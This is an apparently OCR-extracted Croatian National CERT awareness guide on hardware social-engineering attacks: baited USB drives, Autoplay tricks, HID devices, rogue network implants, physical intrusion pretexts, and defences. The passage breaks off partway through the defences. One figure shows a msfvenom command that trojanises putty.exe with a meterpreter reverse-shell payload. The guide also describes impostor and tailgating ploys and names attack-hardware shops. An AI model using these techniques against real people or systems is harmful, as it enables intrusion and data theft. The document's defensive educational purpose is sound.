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Ovaj dokument izradio je Laboratorij za sustave i signale Zavoda za elektronicke sustave
i obradbu informacija Fakulteta elektrotehnike i racunarstva Sveucilista u Zagrebu.

Ovaj dokument vlasnistvo je Nacionalnog CERT-a. Namijenjen je javnoj objavi te se svatko
smije njime koristiti i na njega se pozivati, ali iskljucivo u izvornom obliku, bez izmjena,
uz obvezno navodenje izvora podataka. KoriStenje ovog dokumenta protivno gornjim
navodima povreda je autorskih prava CARNET-a, a sve navedeno u skladu je sa zakonskim
odredbama Republike Hrvatske.
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1 Uvod

U kontekstu kibernetickih napada, obitno je najjednostavnije napasti Zrtvu putem
interneta jer napadac¢ ne mora stupiti ni u kakav fizicki kontakt ni sa Zrtvom ni s njenim
racunalom. No, postoje i brojni napadi koji se oslanjaju na fizicki pristup korisnikovom
racunalu preko nekog podmetnutog hardvera kojeg ¢e napadac ili ¢ak Zrtva (nesvjesna
napada) prikljuciti na racunalo.

Hardverska strana socijalnog inZenjerstva o kojoj ¢e biti rije¢ u ovom dokumentu, odnosi
se na napade koji se sastoje od dvije komponente:

e obmana/prevara kojom napadac:

a) navodi Zrtvu da stupi u kontakt sa zaraZenim hardverom i prikljuci ga na
svoje racunalo (npr. podmetne USB stick na mjesto gdje Ce ga Zrtva pronaci)
ili

b) stjece pristup zasticenom prostoru organizacije i podmece svoj zlonamjerni
hardverski uredaj (npr. laZno se predstavlja kao tehniCar/dostavljac
pizze/Klijent itd. na ulazu u tvrtku)

e izvrSavanje pripremljenog zlonamjernog kdda pohranjenog na hardverskom
uredaju koji ¢e izvrsiti napad, prikupljati osjetljive podatke za napadaca ili dati
pristup napadacu na neki drugi nacin

Tipican primjer obmane u ovom kontekstu bilo bi podmetanje nekog medija za pohranu
podataka (npr. USB sticka) na mjesto gdje ¢e ga Zrtva pronadi i u konacnici, ne sluteéi da
je Zrtva socijalnog inZenjerstva, prikljuciti na svoje racunalo.

[strazivanje iz 2016. godine pokazalo je da je 98% studenata, profesora i ostalog
fakultetskog osoblja pokupilo s poda pronadene USB-ove koji su bili razbacani oko
fakulteta (1). Skoro pola od njih prikljucilo ih je na svoje racunalo i otvorilo pronadenu
datoteku.

Cak i ako USB stick nije dovoljno zanimljiv Zrtvi, vjerojatno bi se zainteresirala za kakav
kvalitetniji komad hardvera poput slusalica, tipkovnice, misa, i odlucila barem isprobati
na svom racunalu radi li.

Jedan primjer scenarija napada bio bi:
1) napadac Zeli napasti tvrtku X

2) napadac ispred tvrtke X podmetne USB stick u nadi da ¢e ga neki od zaposlenika
pokupiti i prikljuciti na svoje poslovno racunalo

3) zZrtva nailazi, razveseli se besplatnom USB sticku ili Zeli pronaci vlasnika i ponese
ga sa sobom

4) Zrtva prikljuci USB stick na racunalo i prvo provjerava postojece datoteke kako bi

moZzda otkrila €iji je uredaj ili ga koristila u svoje svrhe
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5) na USB sticku je pohranjen zlonamjerni softver koji prvo Sifrira podatke na
zrtvinom racunalu, a zatim i na svim ostalim rac¢unalima na mreZi te trazi
otkupninu za deSifriranje podataka

Postoji viSe nacina koji su znacajno razliciti s tehnicke strane pomoc¢u kojih napadac preko
uredaja preuzima kontrolu nad racunalom, a ovaj dokument navest ¢e i objasniti neke od
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2 Tehnike napada u kojima Zrtva na prevaru prikljuci
zlonamjerni uredaj

Ovakve tehnike sastoje se od dva koraka:

1. Napadac socijalnim inZenjerstvom prevari Zrtvu da prikljuci zarazeni uredaj na
svoje racunalo

2. Na uredaju se nalazi pripremljen kod koji ¢e napasti racunalo ili instalirati
zlonamjerni softver na njega jednom kad ga Zrtva prikljuci na racunalo

Hardverski uredaji koji se pritom najceSce koriste za podmetanje Zrtvi su:
e USB stick, CD, DVD ili drugi medij za pohranu
e Uredaji koji se laZno predstavljaju kao neki drugi uredaj (npr. ,USB Rubber Ducky")

e Slusalice, punjac¢ za mobitel...

2.1 Tehnike obmane kojima napadac prevari Zrtvu da prikljuci
zaraZzen uredaj

Prvi korak je nekako dovesti Zrtvu u kontakt s napadacevim uredajem. Nacini za

zabiljeZenih slucajeva koji su se pojavljivali u praksi.

1. Ostavljanje USB-ova/CD-ova ili slicnih hardverskih uredaja na mjestima gdje
¢e ih Zrtva pronaci

Kada naidu na nekakav naizgled izgubljeni uredaj, Zrtve Cesto ne pomisljaju kako
je rije¢ o neCemu S$to je napadac namjerno ostavio kako bi ga one pokupile. Razlozi
zbog kojih Zrtva uzme pronadeni komad hardvera su razni: moZda se veseli
besplatnom komadu hardvera koji joj moZe posluziti, mozda ga Zeli vratiti
vlasniku, moZda je znatiZeljna, itd.

2016. godine provedeno je istraZivanje na americkom SveuciliStu u Illinoisu koje
je pokazalo da je od 297 razbacanih USB stickova pokupljeno viSe od 98% (1). Oko
45% stickova na kraju je bilo i prikljuceno na racunalo i otvorena je datoteka koja
se na njima nalazila. Ova tehnika korisna je za napad u kojem se ne cilja na
specifi¢nu Zrtvu (jer napadac ne moZe biti siguran da nece naiéi netko prije te Zrtve
tko ¢e pokupiti uredaj i ne moZe biti siguran da ¢e bas odredena Zrtva vidjeti ili
htjeti pokupiti uredaj s poda). Na slici 1 prikazane su lokacije na kojima su se
ostavljali USB stickovi. Zanimljiva je kombinacija ostavljanja USB sticka skupa s
kljucevima jer time je Zrtva motiviranija za prikljuciti USB stick kako bi saznala tko
je vlasnik koji je izgubio kljuceve kako bi mu ih mogla vratiti.
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Slika 1 Lokacije na koje se mogu podmetnuti USB-ovi (2)

2. Dijeljenje USB-ova/CD-ova/punjaca ili slicnih hardverskih uredaja na
smotrama i konferencijama

Dijeljenjem USB-ova/CD-ova/DVD-ova s konferencijskim materijalima na
konferencijama ili smotrama lakSe je staviti hardverski uredaj u ruke to¢no
odredene Zrtve ili grupe. Buduéi da su takve konferencije organizirani i formalni
dogadaji, Zrtva nece pomisliti kako je dijeljenje uredaja zamka vec¢ ¢e, kao polaznik
konferencije, prihvatiti uredaj i kasnije ga prikljuciti na racunalo. Americ¢ki CERT
2010. godine je izvijestio javnost o analizi botneta Mariposa koji je napadao
korporativne mreZe poduzeca. Zaklju€eno je da je zaposlenik jedne tvrtke zaraZen
botnetom na industrijskoj konferenciji koju je pohadao, a na kojoj mu je instruktor
dao svoj USB. Jednom kad se zaposlenik vratio i priklju¢io se svojim poslovnim
laptopom na mrezu tvrtke u kojoj radi, zlonamjerni softver se prosirio po cijeloj
mreZzi (3).

Jo$ jedan zanimljiv primjer dogodio se 2013. godine na konferenciji grupe G20 u
Sankt Petersburgu. Povjerenicima drZava Clanica grupe G20 podijeljeni su USB
uredaji i kabeli za punjenje mobilnih telefona. Analizom je ustanovljeno da su se na
tim uredajima nalazili trojanski konji za dohvat podataka s racunala i mobilnih
telefona na koje se prikljuce (4).

3. Slanje USB stickova/CD-ova postom.

Napadac¢ moze postom poslati CD ili USB stick zrtvi skupa s nekim pismom koje
naslucuje da je neki povjerljivi sadrZaj poslan na krivu adresu ili da se besplatno
dijele neki zanimljivi materijali. Ovakav napad ekvivalentan je phishingu (slanje
laznih poruka e-posSte) sa zlonamjernim softverom u privitku, samo je ovaj put
rije¢ o fizickoj verziji s fizicCkom posStom i fizickim privitkom. Takav napad se
oslanja na znatiZelju Zrtve da pogleda Sto se nalazi na uredaju i moZe biti genericki
(Salje se na velik broj adresa), a moZze biti i specifi¢niji. Specifi¢niji napad bio bi
slanje CD-a s materijalima nakon odredene konferencije/predavanja/smotre koju
je zrtva posjetila. Napadacu je dovoljno pronaci popis uzvanika i pronaci njihovu
adresu, npr. preko telefonskog imenika i zatim im poslati CD.
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2018. godine zabiljeZeno je slanje CD-ova poStom drzavnim i lokalnim vladinim
agencijama (5) uz pismo, kao Sto je prikazano na slici 2.
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Slika 2 Slanje CD-a sa zlonamjernim softverom putem poSte (5)

2.2 Napad na racunalo prikljucCivanjem uredaja koji zatim iskoristava
ranjivost

Jednom kad je Zrtva priklju¢ila podmetnuti uredaj, moze se krenuti s izvrSavanjem
napada. Vrste napada mogu se podijeliti u nekoliko grupa:

1. Iskoristavanje Autoplay funkcionalnosti

Za CD, DVD, Blu-ray i slitne uredaje Cesto je automatski ukljuena Autoplay
funkcionalnost, tj. automatsko pokretanje programa koji u slu¢aju napada mogu
biti napadacevi zlonamjerni programi. Kad se u racunalo umetne prijenosni medij
za pohranu podataka poput CD-a, DVD-a ili memorijske Kkartice, Autoplay
funkcionalnost detektira o kojoj je vrsti medija rijec i automatski poduzima radnju
koju korisnik odredi. Autoplay funkcionalnost je iz sigurnosnih razloga obi¢no
iskljucena za USB stickove i slicne medije pa u slu¢aju podmetanja USB sticka
napadac mora iskoristiti neku drugu vrstu napada. Na slici 3 prikazane su postavke

na Windows racunalu po kojima je vidljivo da je Autoplay automatski ukljuc¢en za
sve medije i uredaje.
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Settings = a X
@ Home AutoPlay
Find a setting bl l Use AutoPlay for all media and devices
@ o

Devices

Choose AutoPlay defaults
Ef Bluetooth & other devices

Removable drive

I;Jé',] Printers & scanners Choosa a Hefadlt
O Mouse Uvezi fotografije i videozapise (Fotografije)
B Toichpad Import photos and videos (Dropbox)
ouchpa
Sync digital media files to this device (Windows Media Player)
Typing Open device to view files (File Explorer)

) Take no action
c/’ Pen & Windows Ink

Ask me every time

I @ AutoPlay
Slika 3 Autoplay postavke na Windows raé¢unalu

Korisnik moZe iskljuciti ili ukljuciti Autoplay za odredene radnje, npr. moze
definirati da svaki put kad prikljuci svoj mobitel na laptop krene automatski uvoz
fotografija i videozapisa. Ako je korisnik dopustio da Autoplay automatski pokrene
sadrzaj CD-a, tad Ce se automatski pokrenuti i napadacev zlonamjerni kod.

Jo$ jedna zanimljiva tehnika zloupotrebe Autoplay funkcionalnosti prikazana je na
slici 4. - uz domisljate izmjene teksta i ikone, oznacena opcija u prikazanom
prozoru (s tekstom ,Open folder to view files“) zapravo nece otvoriti sadrzaj USB
sticka za pregledavanje, ve¢ ¢e pokrenuti trojanskog konja (6). Ako bi korisnik
pazljivije promotrio prozor, vidio bi da se ta ikona odnosi na instalaciju i
pokretanje programa (‘Install or run program') koji se zove 'Open folder to view
files' i ima ikonu mape, a ne na funkcionalnost Autoplaya. No, korisnik Ce iz navike
vjerojatno kliknuti na prvu ponudenu opciju (program) jer se tamo nalazi
funkcionalnost koja mu je inace potrebna.

[ ==

I Removable Disk (G)
| @

[~] Always do this for software and games:

Install or run program

Open folder to view files

General options
‘ Open folder to view files

'f\’ Speed up my system

h B

Set AutoPlay defaults in Control Panel

L e e e — | — =/

Slika 4 Primjer tehnike obmane kojom USB stick moZe zaraziti racunalo (6)
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2. Pohranjivanje zlonamjernog koda na uredaju

Ovakvi napadi oslanjanju se na moguénost da ¢e korisnik, nakon $to prikljuc¢i USB
sa zlonamjernim k6dom, kliknuti na neku od podmetnutih datoteka koje se nalaze
na uredaju. Ta datoteka moZe biti trojanski konj ili nekakav drugi zlonamjerni
softver koji moZe potajno i bez korisnikove sumnje:

e Preuzetijo$ zlonamjernog softvera s interneta
e Sifrirati Zrtvino ra¢unalo ransomwareom i traZiti otkupninu

e UKkljuciti Zrtvino racunalo u botnet mrezu koju ¢e kasnije iznajmljivati za
DDoS napade i slanje neZeljenih poruka e-poste

e U tajnosti pratiti korisnikove aktivnosti i skupljati osjetljive podatke poput
broja kreditne kartice, lozinki i sl.

Trojanski konji mogu izgledati bilo kako, ali najceS¢e se pojavljuju u obliku
programa za racunala (nastavak .exe), dokumenata sa zlonamjernim kddom u
raznim oblicima (makronaredbe, DDE, OLE objekti), bilo kakve datoteke posebno
konstruirane tako da iskoriStava ranjivost softvera koji je obraduje (¢esto su u tom
kontekstu koriStene PDF datoteke koje su napadale ranjivosti Adobe Readera). Svi
ti trojanski konji djeluju bezazleno kad ih korisnik otvori, a u pozadini napadaju
korisnikovo racunalo.

—omy

. ] ¥ors
———. . picture.exe

trojan.exe m
-

invoice.exe

Slika 5 Promjena ikone i naziva izvrsne datoteke kako bi izgledala kao dokument, odnosno slika (7)

Za napadace postupak izrade trojanskog konja moZe biti izrazito jednostavan jer
postoje Siroko dostupni alati poput npr. Metasploita (msfvenom) koji ubacuje
trojanski konj u datoteku legitimnog programa operacijskog sustava Windows.
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:/tmpS msfvenom --template putty.exe --out putty backdoored.exe
--arch x86 --platform windows --keep --payload windows/meterpreter/revers
e_tcp lhost=192.168.1.101 --format exe --encoder x86/shikata_ga_nai
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nal

x86/shikata_ga_nal succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368

Payload size: 368 bytes

Final size of exe file: 809984 bytes

Saved as: putty_backdoored.exe

Slika 6 Primjer korisStenja alata msfvenom (dio softverskog paketa Metasploit) za trojanizaciju
izvrsnih (.exe) Windows datoteka (7)

ViSe informacija moZe se pronaci u dokumentu Nacionalnog CERT-a Socijalni inZenjering
i zlonamjerni softver.

3. Iskoristavanje softverskih ranjivosti na Zrtvinom ra¢unalu

Velika koli¢ina koéda se aktivira prilikom priklju¢enja uredaja (USB stick,
tipkovnica, mis, sluSalice...) na racunalo i otvaranja datoteka na njemu. To
ukljuc¢uje upravljacke programe za komunikaciju s uredajem, za koriStenje
datotecnog sustava, dijelove kdda koji obraduju datoteke prije otvaranja (npr. za
stvaranje slike datoteke - eng. thumbnail) i dijelove kdda koji se pokrecu prilikom
otvaranja datoteke. Sav taj kod automatski se pokrece kako bi napravio sve Sto
treba da bi se uredaj povezao s racunalom i mogao se nesmetano koristiti - i u bilo
kojem dijelu moZe se nalaziti ranjivost.

Zamislimo da smo prikljucili USB uredaj na ra¢unalo na Kkoji su pohranjene neke
slike i dokumenti napisani u softveru Microsoft Word. Korisnik otvara jedan od
Word dokumenata. Iako je korisnik sam otvorio dokument, pokrecu se i dijelovi
koda zaduZeni za:

e upravljacki program (dio jezgre operacijskog sustava) za USB komunikaciju
e upravljacki program za koriStenje datotecnog sustava

e Windows Explorer/Nautilus ili slican softver koji ima neku komponentu za
prikazivanje ikona i saZetog prikaza (engl. thumbnail)

e program koji otvara dokument (u ovom sluc¢aju MS Word)

Svaka od tih komponenti moZe imati pogreSku/ranjivost u svom kodu koji
prikljuceni uredaj moze isKkoristiti i napasti racunalo. U praksi je ¢esto videno
iskoriStavanje softvera Adobe PDF Reader zlonamjerno sastavljenim PDF
datotekama.

Jednom kad napadac zarazi Zrtvino racunalo, ponekad moze i inficirati uredaje koji
su spojeni na njega poput USB stickova. Taj napad je poznat kao BadUSB napad i u
kontekstu socijalnog inZenjeringa moZe uredaje kojima Zrtva najviSe vjeruje, tj.
njezine vlastite uredaje, pretvoriti u alat za daljnji napad.
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4. USB napadi

Jo$ jedan nacin na koji napada¢ moze zaraziti racunalo nakon Sto Zrtva prikljuci
uredaj na njega je i laziranje svrhe uredaja s USB priklju¢kom. Najpoznatija vrsta
USB napada su takozvani USB HID (Human Interface Device) napadi u kojima USB
uredaj laznim predstavljanjem racunalu, kao da je tipkovnica ili slican uredaj,
y2utipka“ naredbe koje racunalo izvrsi vjerujuci da ih je unio korisnik.

Preko USB prikljucka moguce je prikljuciti razne uredaje: USB stick, tipkovnicu,
slusalice, kabel za mobitel... MoZe se napraviti uredaj koji samo izgleda kao USB
stick, slusalice ili neki drugi naizgled bezopasan uredaj, a u stvari se racunalu
predstavlja kao neSto drugo, npr. tipkovnica u slu¢aju USB HID napada. Jedan
primjer ovakvog uredaja je takozvani Rubber Ducky koji, jednom kad se prikljuci
na racunalo, utipkava naredbe koje ¢e rac¢unalo izvrsiti. To je uredaj koji izgleda
kao memorijski USB stick i raCunalu se predstavlja kao tipkovnica i ,tipka“ ono Sto
je napadac zapisao u njega. Pri tome korisnikovo rac¢unalo ,misli“ da to tipka
njegov korisnik koji se uredno prijavio za rad svojim korisnickim imenom i
lozinkom. Istovremeno legitimni korisnik moZe raditi svoj posao i nije ni svjestan
paralelne aktivnosti koja se dogada: napad i preuzimanja kontrole nad racunalom.

Uredaj se moZe predstaviti i kao npr. USB mreZno sucelje i izvrSiti mreZni napad
na racunalo.

Mao S0 Smge 60 MHz 32-Bit CPU
Replay Button
Covert Case
LED Indicator
Optional Decal
® ® TypeAPug a®

Slika 7 USB Rubber Ducky (8)

Rubber Ducky, kao i sli¢ni uredaji, Siroko je dostupan i moZe ga kupiti bilo tko, a ne
samo sofisticirani hakeri. Osim Rubber Duckyja, korisno je spomenuti jo$ jedan
popularan uredaj naziva USB Ninja Cable. USB Ninja je uredaj koji izgleda kao USB
kabel za prikljuciti mobitel na racunalo, a u stvari je beZi¢no povezan s upravljacem
koji aktivira napad na rac¢unalo na koje je prikljucen. MoZe emulirati tipkovnicu i
mis. Cijena ovih uredaja se okvirno krece oko $100.
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Slika 8 USB Ninja Cable (9)
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3 Tehnike napada u kojima napadac prikljucuje zlonamjerni

uredaj

Ovakve tehnike sastoje se od dva koraka:

1.

Napada¢ socijalnim inZenjerstvom, provalom ili na neki drugi nacin uspije
pristupiti prostoru tvrtke ili pojedinca kojeg Zeli napasti

Napadac prikljucuje uredaj koji izvrSava napad na racunalo, napadacu daje pristup
mreZi ili omogucuje neku drugu vrstu napada

3.1 Ostvarivanje fizickog pristupa racunalnom sustavu

Kako bi ostvario fizi¢ki pristup racunalnom sustavu ili racunalu kojeg Zeli napasti,
napadac se prvo mora potruditi u¢i u zasti¢eni prostor tvrtke ili pojedinca. Pritom se moze
koristiti tehnikama socijalnog inZenjerstva:

Napadac se laZzno predstavlja. Napadac ulazi u zgradu tvrtke koju Zeli napasti,
laZno se predstavlja kao npr. tehnic¢ar i nekom laZznom ispravom s logom tvrtke iz
koje se predstavlja da dolazi, i trazi pristup od osobe na recepciji. Napada¢ mozda
zna da taj dan moraju doci tehnicari pa dolazi prije njih ili dolazi nakon njih praveci
se da kasni. Ako osoba na recepciji prati protokol i Zeli prvo provjeriti i
identificirati ,tehnic¢ara“, napadac ¢esto pocne prijetiti kako ¢e ,biti problema“ i
kako ¢e netko od nadredenih loSe reagirati ako se stvar zbog koje je doSao ,brzo
ne rijesi‘.

Tvrtka koja se bavi kibernetickom sigurnosti RedTeam Security testirala je moZe li
njihov sigurnosni stru¢njak do¢i do klijentove glavne sobe s mreZnim
posluziteljima koriste¢i socijalni inZenjering, tj. pretvarajudi se da je tehnicar (10).
Strucnjak je doSao samo s dva zaklamana papira s logom pruZatelja mreZnih usluga
(engl. Internet Service Provider, ISP), alatom i pricom kako je doSao provjeriti
navodno telefonski razgovarao. Zaposlenica na recepciji povjerovala je u pricu i
nije trazila nikakvu identifikaciju.
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Slika 9 Papiri koji su uvjerili osobu na recepciji da je sigurnosni stru¢njak stvarno tehnicar (10)

Napadac se moZe predstaviti i kao npr. klijent, dostavljac pizze, osoba koja je dosla
napuniti aparat s grickalicama ili neSto drugo, ovisno o informacijama koje je
prikupio o tome tko inace dolazi u tvrtku.

e Napadac ulazi u zgradu zajedno s grupom legitimnih zaposlenika. Napadac se
prikljucuje grupi zaposlenika velike tvrtke (npr. banka) koja npr. pusi ispred
zgrade ili ide zajedno na stanku/odmor. Zapocinje razgovor s njima, predstavlja se
kao kolega iz nekog drugog odjela. S obzirom na to da velike tvrtke zaposljavaju
velik broj zaposlenika koji se medusobno ne moraju poznavati i ¢esto dolaze novi
zaposlenici, grupa legitimnih zaposlenika ne sumnja da je rije¢ o napadacu. U
trenutku kad svi skupa krenu ulaziti u zgradu, ulazi s njima i kaZe kako je zaboravio
karticu kojom se otvaraju vrata i zamoli nekog da ga pusti, ili iskoriStava
funkcionalnost grupnog ulaska ili prode kroz fizicku barijeru neposredno iza
zaposlenika koji ju je otkljucao svojom karticom (engl. Tailgating).

e Napadac se zaposljava u tvrtki koju planira napasti. Napadac ili neki njegov
suradnik se zapoSljava u tvrtki koju planira napasti, na radno mjesto koje ¢e mu
omoguciti pristup dijelu raCunalnog sustava koji Zeli napasti.

e Napadac¢ posjecuje neku konferenciju ili dogadaj koji se odrzava u
prostorijama tvrtke koju Zeli napasti. Napadac¢ ili neki njegov suradnik
posjecuje konferenciju, seminar, smotru ili neki slican dogadaj koji se odrzava u
prostorijama tvrtke u koju Zeli podmetnuti uredaj sa zlonamjernim kédom.
Iskoristava priliku Sto se nalazi u prostoru tvrtke te se npr. pravi da trazi
WC/garderobu kako bi bez izazivanja sumnje uspio u¢i u prostoriju u koju ce
podmetnuti zlonamjerni uredaj i na taj nacin ostvariti fizicki pristup racunalnom
sustavu tvrtke.
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3.2 Prikljuc¢ivanje zlonamjernog uredaja

Jednom kad je ostvario pristup, napada¢ moZe prikljuciti svoj zlonamjerni uredaj na
mreZu i tako ostvariti pristup unutarnjoj mrezi. Alternativno, napada¢ moze spojiti neki
specijalizirani uredaj poput hardverskog keyloggera (uredaja za snimanje pritisnutih tipki
na tipkovnici) ili poput uredaja za snimanje zaslona.

Npr. moZe prona¢i otvoreni mrezni priklju¢ak na kojeg se moZe prikljuciti ili moze
iskljuciti neki legitimni uredaj poput kamere ili VOIP telefona i umjesto njega prikljuciti
svoj. Taj uredaj onda moZe komunicirati s napadacem (npr. preko mobilne 4G mreze) i
dati mu pristup internoj mreZi organizacije.

Jednom kad je napadac spojen na internu mreZu, puno mu je lakSe napasti organizaciju
nego izvana, a u korist mu ide i velik broj razvijenog hardvera koji je napravljen upravo
kako bi olakSao napad nekome tko ima fizicki pristup racunalnom sustavu

e Screen Crab. Uredaj koji potajno hvata snimke zaslona HDMI uredaja koji je spojen
na njega, sprema ih na MicroSD karticu i Salje napadacu putem WiFi mreZe. Na slici
10 prikazani su nacini na koji se Screen Crab moZe postaviti izmedu racunala i
HDMI uredaja bez da izazove sumnju. Cijena ovakvog uredaja je trenutno $200.

Slika 10 KamuflazZa Screen Crab uredaja (11)

e Signal Owl. Uredaj koji se ostavi unutar neke prostorije koja hvata signal beZi¢ne
(engl. wireless) mreZe Ciji se promet Zeli prikupiti. Prikuplja beZi¢ni promet
(Bluetooth, GPS, WiFi...) i pokuSava ga deSifrirati programima koji su prethodno
instalirani na njega poput Aircrack-ng, MDK4, Kismeta i sl. Cijena se trenutno krece
oko $40.
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Slika 11 Uredaj Signal Owl (12)

LAN Turtle. Uredaj koji je u stvari USB mrezni Ethernet adapter s brojnim
predefiniranim modulima, tj. skriptama. MozZe se koristiti na viSe nacina, od kojih
je mozda najkorisniji izravno spajanje na internet mrezu unutar organizacije tako
da se LAN kabel prikljuci u LAN turtle, a LAN turtle u racunalo. Tad moZe prikupljati
promet na nacin da, budu¢i da je spojen na racunalo koje je spojeno na mrezu, LAN
Turtle preko njega vidi Sto se sve dogada i prikuplja podatke. Neko vrijeme su bili
aktualni i napadi prikupljana vjerodajnica zaklju¢anog Windows racunala pomoc¢u
ovog alata, ali je u meduvremenu Microsoft izdao zakrpu kojom je to onemoguceno.
Trenutno se cijena krece oko $60.

Slika 12 Uredaj LAN Turtle (13)

Throwing Star LAN Tap. Uredaj koji kopira promet koji se odvija izmedu racunala
i preklopnika (engl. switcha). MreZni kabel koji ide iz racunala u switch prikljuci se
u ovaj uredaj, mrezni kabel iz uredaja u switch, a kroz 3. konektor i 4. konektor
izlazi kopija prometa koja se moZe pohraniti i nad njom raditi analiza npr.
Wiresharkom.
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Slika 13 Prikljucivanje LAN kabela u uredaj Throwing Star LAN Tap (14)

e Hardverski keylogger. Uredaj koji se postavlja izmedu tipkovnice i racunala na
nacin da se tipkovnica spoji na njegov prikljucak, a uredaj na racunalo. BiljeZi i
prikuplja sve Sto je korisnik racunala na koji je spojen tipkao (medu ¢ime su i
korisni¢ke vjerodajnice/Sifre). Postoji viSe inacica koje se razlikuju u cijeni -
jeftinije biljeZe prikupljene informacije u svoju memoriju pa napada¢ mora po
njega dodi, a na skupljima se moZe konfigurirati adresa e-poSte na koju ce slati
prikupljene podatke putem bezi¢ne mreze.

Slika 14 Prikljucivanje tipkovnice u hardverski keylogger koji se prikljuc¢uje na racunalo (15)

o ESP RFID alat. Uredaj koji se instalira u sustav za ocitavanje prislonjenih kartica
za npr. ulaz u prostoriju. Pasivno biljezi i prikuplja Wiegandove podatke (Wiegand
je najrasprostranjeniji protokol koji se koristi u sustavima za ocitavanje), a
pregledavati ih se moze putem web sucelja. Takoder, uredaj ima WiFi mogucnosti
za stvaranje vlastite pristupne tocke ili spajanje na postoje¢u mrezu. Trenutno se
cijena krece oko $30.
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Neke od online trgovina na kojima je moguce nabaviti takve uredaje su:
e https://shop.hak5.or
e https://technical.nttsecurity.com/post/102e2hp/red-team-toolkit-essentials

e https://shop.riftrecon.com/

e https://www.wallofsheep.com/

e https://hackerwarehouse.com/

e https://lab401.com/

Kako bi osigurao da nitko ne otkloni zlonamjerni uredaj, napadac ga ,kamuflira“ na neki
od sljedec¢ih nacina:

e Uredaj izgleda sli¢no legitimnom uredaju koji tvrtka koristi.

e Uredaj je skriven ili se nalazi na neprimjetnom mjestu.

Slika 15 Skrivanje usmjerivac¢a medu koricama knjige (16)
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e Uredaj se nalazi medu u gomili legitimnih uredaja i nitko ne sumnja da je
zlonamjeran. Netehnicko osoblje ne snalazi se dovoljno dobro s racunalnom
opremom da bi moglo utvrditi je li neki uredaj ,viSka“ ili bez njega viSe nista
nece raditi.

Slika 16 Saljivi prikaz korisnikove izgubljenosti medu brojnim kabelima (17)

e Uredaj ima natpis poput ,IT - Don't remove“. U velikoj organizaciji s viSe
tehnicara tesko je utvrditi je li uredaj s takvim natpisom stvarno postavila
legitimna osoba, ali svi se boje ukloniti ga jer moZzda moZe do¢i do nekih
problema.

Slika 17 Natpis ,IT-Don't remove” na zlonamjernom uredaju
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Nije nuzno da napadac ude u prostorije tvrtke u kojima se nalaze racunala, ve¢ napadac
moZe posegnuti i za postavljanjem uredaja poput ,MiFi“ usmjerivac¢a/routera (npr. GL-
MiFi) ili specijaliziranih uredaja za WiFi napade (npr. WiFi Pineapple itd.), u blizini, ali
izvan prostorija tvrtke.

Slika 18 GL-MiFi usmjerivac (16) i WiFi Pineapple usmjeriva¢ (19)

Ovakvi uredaji mogu glumiti WiFi pristupnu tocku (engl. Access Point), mogu se spojiti na
mobilnu mreZu (4G) i imaju bateriju. Napadac moZe postaviti takav uredaj negdje u blizini
tvrtke (dovoljno blizu da racunala unutar tvrtke vide njegovu WiFi mreZu i mogu se na nju
spojiti). Tako postavljen uredaj je vrlo tesko primijetiti jer nema Zice i moZe se postaviti
bilo gdje (npr. u grmlje) ili se prerusiti da se uklapa u okolinu.

Taj uredaj moZe glumiti besplatnu WiFi mreZu ili biti ,Evil twin“ legitimnoj WiFi mreZi
tvrtke. Evil twin napad je vrsta WiFi napada koja se oslanja na Cinjenicu da vec¢ina rac¢unala
i mobilnih uredaja beZi¢nu mreZu na koju se Zele spojiti prepoznaju po nazivu ili EESSID-
u bezitne mreZe. Taj naziv ne mora biti jedinstven, i napada¢ moZe odasiljati mreZu svojim
usmjerivacem koja ima isti naziv i lozinku kao i legitimna. Ako se zaposlenik tvrtke spoji
na napadacev WiFi, napadac¢ moZe presretati i prisluskivati promet, Sto moze rezultirati
prikupljanjem osjetljivih informacija ili izvrSavanjem razlicitih oblika napada.
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4 Zakljucak

NaZalost, tesko je u potpunosti sprijeciti ovakvu vrstu napada jer se zloupotrebljava
ljudski faktor koji nije nepogresiv i koji je ¢esto subjektivan u procjeni je li neSto Sto mu
se namece da napravi uzrokovano socijalnim inZenjerstvom.

Bez obzira na brojne edukacije kojima se zaposlenici ili pojedinci obrazuju o socijalnom
inZenjerstvu, primamljivi besplatni hardverski uredaj poput punjaca za mobitel ili
slualica Cesto ¢e zavrsiti u rukama zZrtve koja ¢e ga i prikljuditi.

Mjere zaStite opet se mogu podijeliti u dvije skupine: sigurnosne prakse koje trebaju
poduzeti tvrtke kako bi educirale zaposlenike ili sprijecile izvrSavanje zlonamjernog koda
ako netko i prikljuci zarazen uredaj, i sigurnosne prakse koje bi trebali primijeniti
pojedinci, tj. osvijestiti da i naizgled bezopasne situacije mogu biti rizi¢ne jer postoji
mogucnost da iza njih stoji socijalni inZenjering.

Neke od preporucenih smjernica koje bi trebale poduzeti tvrtke za sprjecavanje i
ublazavanje uspjesnih napada su:

¢ Definirana sigurnosna politika s kojom su upoznati svi zaposlenici. U
velikim tvrtkama koje su najizloZenije ovakvim napadima (jer u maloj tvrtki su
ljudi Cesto u interakciji i brzo otkriju ako je neki uredaj podmetnut, takoder se
ne moze netko tek tako lazno predstaviti ili neovlasteno hodati po prostorijama
jer su viSe-manje svi zaposlenici upoznati s dogadanjima u tvrtki i prostor je
manji) nije rijetkost da se novim zaposlenicima samo da papir na potpisivanje
u kojemu su ukratko opisane neka sigurnosna pravila poput zabrane
posjecivanja druStvenih mreZa, priklju¢ivanja USB stickova na racunalo, slanja
poruka e-poste sa sluzbene adrese na privatne adrese koje nemaju veze s
klijentima ili kolegama, itd., ali takva pravila viSe djeluju kao naredbe kojima se
zZeli sprijeciti zaposlenika da obavlja privatne stvari u radno vrijeme, tj. nije
dovoljno pojasnjeno da su to sigurnosni zahtjevi kojima se tvrtka brani od
raznih sigurnosnih incidenata i zaposlenici nisu svjesni da se i njih moZe
zloupotrijebiti kako bi se nastetilo tvrtki.

¢ Pravilna dodjela dozvola i ovlasti. Zaposlenik u pravilu ne bi trebao imati
administratorske ovlasti na svom racunalu jer time se sprjecava da (namjerno
ili nenamjerno) instalira zlonamjerni softver bez prethodne konzultacije s
nekim iz tehni¢kog tima. Takoder, zaposlenik ne bi smio moci na svoje racunalo
pokretati ili prenositi sadrzaje s uredaja za pohranu medija niti se spajati na
mreZe koje nisu interne. Neke organizacije uop¢e ne dopustaju prikljucivanje
USB uredaja i fizicki onemogucuju USB prikljucke na ra¢unalima kako bi se
zastitile od prethodno opisanih napada.

e Redovite edukacije uz prakti¢ne primjere. Trendovi u svijetu socijalnog
inZenjeringa se neprestano obogacuju i razmnozavaju, a redovitom edukacijom
